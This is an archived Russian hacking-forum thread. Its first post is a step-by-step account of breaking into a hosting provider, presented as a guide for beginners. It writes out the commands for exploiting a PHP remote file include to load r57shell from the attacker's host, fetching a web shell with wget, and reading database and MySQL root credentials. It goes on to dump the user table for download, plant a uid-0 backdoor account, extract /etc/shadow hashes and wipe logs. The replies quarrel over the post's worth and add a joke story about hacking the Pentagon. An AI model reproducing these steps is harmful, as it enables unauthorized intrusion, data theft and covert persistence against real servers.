PDA

Просмотр полной версии : История одного взлома...


p-range
06.04.2007, 23:25
[интро]

В этой статье я опишу пример взлома базы данных одного, не очень известного хостинга, со всеми вытекающими отсюда последствиями.
Итак, все началось, как всегда, довольно банально. Общался на форумах и в icq, параллельно ища что-нибудь интересное в сети. На одном из форумов меня привлек небольшой баннер какой-то хостинговой компании, тут же промелькнула мысль, раз делать нечего, почему бы не проверить их сайт на наличие дыр...
Первым делом, нацепив проксик, открыл сайтец (назовем его 8o-hosing.com). Хостинг забугорный. Что сразу бросилось в глаза, так это обилие скриптов на сайте. Очень много каких-то документов, статей по теме web-дизайна, раскрутке, etc...

[действуем]

Я приступил к делу. После 15-тиминутного поиска багов, так ничего и не нашел кроме нескольких бесполезных XSS. На время я забил на web и решил просканировать сервер nmap'ом с одного забугорного шелла.
nmap -vv -O -S 69.50.201.7
Сканер выдал, что на сервере открыты порты стандартных сервисов - ftp, ssh, smtp, http и pop. Как оказалось, баннеры этих сервисов были спрятаны, это означает что я не мог узнать версии этих сервисов, а следовательно и искать под них удаленные эксплоиты. Казалось что ситуация безвыходная... с этой мыслью я смирился на время и пошел спать... На следующий день решил все-таки попробовать одолеть этот сервак. Долго думал, какими методами можно было это сделать. Ничего более умного чем проверить на уязвимости "соседей", вспомнив про сервис от domainsdb.net.

[свет в конце туннеля]

Но я не стал торопиться, вспомнив про файл http://8o-hosting.com/robots.txt, замеченный мной еще вчера. В тот раз я не придал ему особого значения, но сейчас для меня он являлся маленькой надеждой на успешный взлом :)
Вот содержимое robots.txt:

User-agent: *
Disallow: /send.php
Disallow: /welcome.php
Disallow: /my.php
Disallow: /includes/
Disallow: /images/

Я запустил скрипты send.php, welcome.php и my.php, но ничего особо интересного я из них не узнал. Меня привлекла директория /includes/, пройдя по ней, я честно говоря, немного удивился... директория была доступна для листинга :) Тут лежало много php скриптов, я пробовал запускать их по-отдельности, но, к сожалению, большинство из них выводили в браузер лишь пустой экран. Но не все было так плохо, как кажется на самом деле :) Я наткнулся на скрипт settings.php, вызвав который получил массу ошибок, среди которой нашел и самую интересную:

Notice: Undefined variable: path in /home/8ohosting/public_html/includes/settings.php on line 7
Warning: main() [function.include]: Failed opening '' for inclusion (include_path='.:/usr/local/lib/php') in /home/8ohosting/public_html/includes/settings.php on line 8

На моем лице промелькнула легкая улыбка, так как увидел явные признаки php-include бага :) Поспешив вводить url вида http://8o-hosting.com/includes/settings.php?path=http://mysite.narod.ru/shell.php, я на секунду задумался о том что опция allow_url_fopen в php.ini будет выключена, но мне повезло и на экране я увидел загружающуюся страницу r57shell ;) Сервер крутился на линуксе, эксплоитов под это ядро на данный момент нет.

[Осматриваемся]

Решив что для удобства нужно залить шелл на сервер, я выполнил команду для поиска директорий достуных для записи:
find /home/8ohosting/public_html/ -type d -perm 0777 -ls
Доступной оказалась дира /home/8ohosting/public_html/images. Команда which wget curl fetch; выдала что в системе есть wget и curl. Далее заливаю шелл:
wget http://mysite.narod.ru/shell.php -O image.php
Скрипт успешно залился. Вспомнив, что в includes/ я видел скрипт config.php, поспешил прочесть его. Внем была информация о доступе к БД.
Часть кода config.php:

$conf['host'] = 'localhost';
$conf['user'] = '8ohosting';
$conf['pass'] = 'v7fhdT0k';
$conf['dbnm'] = 'hosting';

Решил покопаться в базе и посмотреть нет ли там чего интересного для меня ;)
Успешно подключившись, посмотрел какие базы мне были доступны - hosting и test. Естесственно я сразу начал просматривать таблицы базы hosting, среди которых, нашел очень интересную, h_servers. Выполнив запрос select * from h_servers limit 0,5;, я увидел содержимое полей, среди которых наиболее важными для меня оказались server_ip, server_user, server_password.
Пароль, как ни странно, был в открытом виде. В таблице было всего 2 сервера, один из которых, почему-то не был доступен, но вот во второй я вошел удачно, используя логин admin и пароль password из базы.
Посмотрев на свои права я немного вздрогнул, uid=0 gid=0 ;) Убедившись что в системе никого нет кроме меня, я начал осматриваться.

Для начала я посмотрел список сайтов, хостящихся на этом сервере, просмотрев /etc/named.conf. Всего около ~300 сайтов, неплохо =) Затем я обзавелся задачей получить root доступ к MySQL. Введя команду на поиск файла .my.cnf, find / -type f -name ".my.cnf" -ls.Немного подумав, система выдала мне путь /root/.my.cnf, прочитав который я увидел данные для полноценного доступа к mysql.
Содержимое .my.cnf:

[client]
user="root"
pass="tus7kd64mv2n"

Отлично, теперь заходим в консоль управления mysql.
admin@services [~]# mysql -uroot -ptus7kd64mv2n -hlocalhost
mysql> show databases;
+--------+
| mysql |
|hosting |
| .... |
+--------+
mysql> use hosting; show tables;
+---------+
|h_users |
|h_servers|
| ..... |
+---------+
mysql> select * from h_users into outfile '/root/dump.sql';

Итак, дамп нужной нам таблицы есть. Теперь переходим в /root, архивируем дамп и копируем в какую-нибудь директорию, видимую из инета.

admin@services [~]# cd /root;tar -cf dump.tgz dump.sql;rm-rf dump.sql;mv /root/dump.tgz /home/8ohisting/public_html/dump.tgz

Затем сливаю архив с дампом себе на комп (http://8o-hosting.com/dump.tgz) и удаляю архив с шелла (rm -rf /home/8ohisting/public_html/dump.tgz). Основная миссия на этом закончена =) Осталось закрепиться в системе и замести следы. В этот раз я не стал сильно заморачиваться, а просто заменил права пользователа games на нулевые.

# Изменяем /etc/passwd
admin@services [~]# cd /etc/;cat >passwd
.....
games:x:0:0:games:/games/:/bin/bash
.....

replace passwd? y
# устанавливаем новый пароль пользователю games
passwd games

Итак, мы немного подкорректировали права пользователя games. Метод конечно палевный, но в тот момент у меня не было желания троянизировать систему.
Итак, осталось дело за малым, подчистить за собой весь мусор. На всякий случай узнал хэши всех пользователей системы:
cat /etc/shadow|awk -F ":" '{print $1":"$2}';
Установив логвайпер, потер за собой следы пребывания в системе, и с чувством выполненого долга, начинал думать о новых "приключениях" =)

[заключение]
Во-первых, эта статья, в первую очередь будет полезна новичкам, т.к. в ней нет ничего сверхестественного :)
Во-вторых, как я уже писал выше, я не стал заморачиваться с протрояниванием системы, об этом ясно изложено в этой (http://forum.antichat.ru/thread37187.html) статье от ShadOS.
Ну и в-третьих, желаю тебе удачи ;) На этом все.

Превед: ice1k :D

(c) p-range :: AltST

Zitt
06.04.2007, 23:39
И к чему это, что тут инетсного??? Впринцепе обычный взлом, если сервак не известный нах ваще было писать???

Zitt
07.04.2007, 02:28
Вчера похекал маленький сервак (пентагон.гов)
Дело было так...
Скачал с хекерского сайта прогу nmap(мне сказали что это главное оружее хеккера при взломе)
запустил
nmap -vv -sT -sV -P0 -O -oN rezultat.txt www.defenselink.mil
открыл rezultat.txt и увидел кучу открытых портов, запустив слоед я проник внтурь системы...
Покопшись по пакам я увидел папку "zapusk_raket"и запустил балестическую ракету в дом моих соседей(мне их собака не нравица), дальше установил три кейлогера и два трояна крадущие пароли от иторнета(не помню как называеюца но мне сказали что они самые лучшие)...
Дальше слил базу данных с данными на военных, почистив за собой следы(прогой состранным название ваниш)), выключил свой компутер....

зЫ//// бля, забыл расскрасить))

DisturbeR
07.04.2007, 03:15
Хыы... Zitt. Зря ты так, это статья на любителя. Я например люблю на досуге почитать истории а-ля журнал-][акер. Так что автору +

p-range
07.04.2007, 09:26
И к чему это, что тут инетсного??? Впринцепе обычный взлом, если сервак не известный нах ваще было писать???
а тебе так важна популярность сервера? и что от этого изменится? я специально изменил все адреса. А насчет того, зачем это все писать, подумай, а зачем вообще писать статьи? для того чтобы люди учились хоть чему-то, не задавались вопросы на форумах вида "я взломал сервак, что делать дальше" и т.д.

Вчера похекал маленький сервак (пентагон.ком)
Дело было так...
Скачал с хекерского сайта прогу nmap(мне сказали что это главное оружее хеккера при взломе)
запустил
nmap -vv -sT -sV -P0 -O -oN rezultat.txt www.defenselink.mil
открыл rezultat.txt и увидел кучу открытых портов, запустив слоед я проник внтурь системы...
Покопшись по пакам я установил три кейлогера и два трояна крадущие пароли от иторнета(не помню как называеюца но мне сказали что они самые лучшие)...
Дальше слил базу данных с данными на военных, почистив за собой следы(прогой состранным название ваниш)), выключил свой компутер....
и к чему это ты нам рассказываешь про взлом пентагона? решил похвастаться? создавай свою тему и там хвастайся. здесь не нужно флеймить.
Во-первых, эта статья, в первую очередь будет полезна новичкам, т.к. в ней нет ничего сверхестественного
и взгляни на это пожалуйста, если такой умный и все знаешь, не читай. никто не заставляет

Zitt
07.04.2007, 14:41
p-range, написал я это к тому, что бы показать, что за ночь таких же статей мона штук 5 накидать...
Тока смысла не вижу в них... И как ты говоиш для новичков такиже точна статьей туева куча, и если нуб не умеют юзать гугла он всёравно спросит пиши ты не пиши....
решил похвастаться?
Я посмеялся, а вот ты действительно решил похвастаться, в статье нет каких либо новые приёмов, ничего необычного ты не сделал... А написал что бы паказать какой ты крутой хекеер, сломал какойто сервак...
Ой что то я разошолся =\\\

ЗЫ//// без обид, это чисто моё обьективное мнение

GreenBear
07.04.2007, 14:44
link (http://forum.antichat.ru/search.php?do=process&showposts=0&starteronly=1&exactname=1&searchuser=Zitt)
=))

p-range
07.04.2007, 14:55
link
=))
2Zitt, мдаа... темы у тебя, я скажу, для профи, много нового в них... =\\\
так что следи за собой.и не надо флейм разводить, а писать только по теме

Zitt
07.04.2007, 15:05
2Zitt, мдаа... темы у тебя, я скажу, для профи, много нового в них... =\\\
Про себе я ничё и не грил....
Ландо проехали....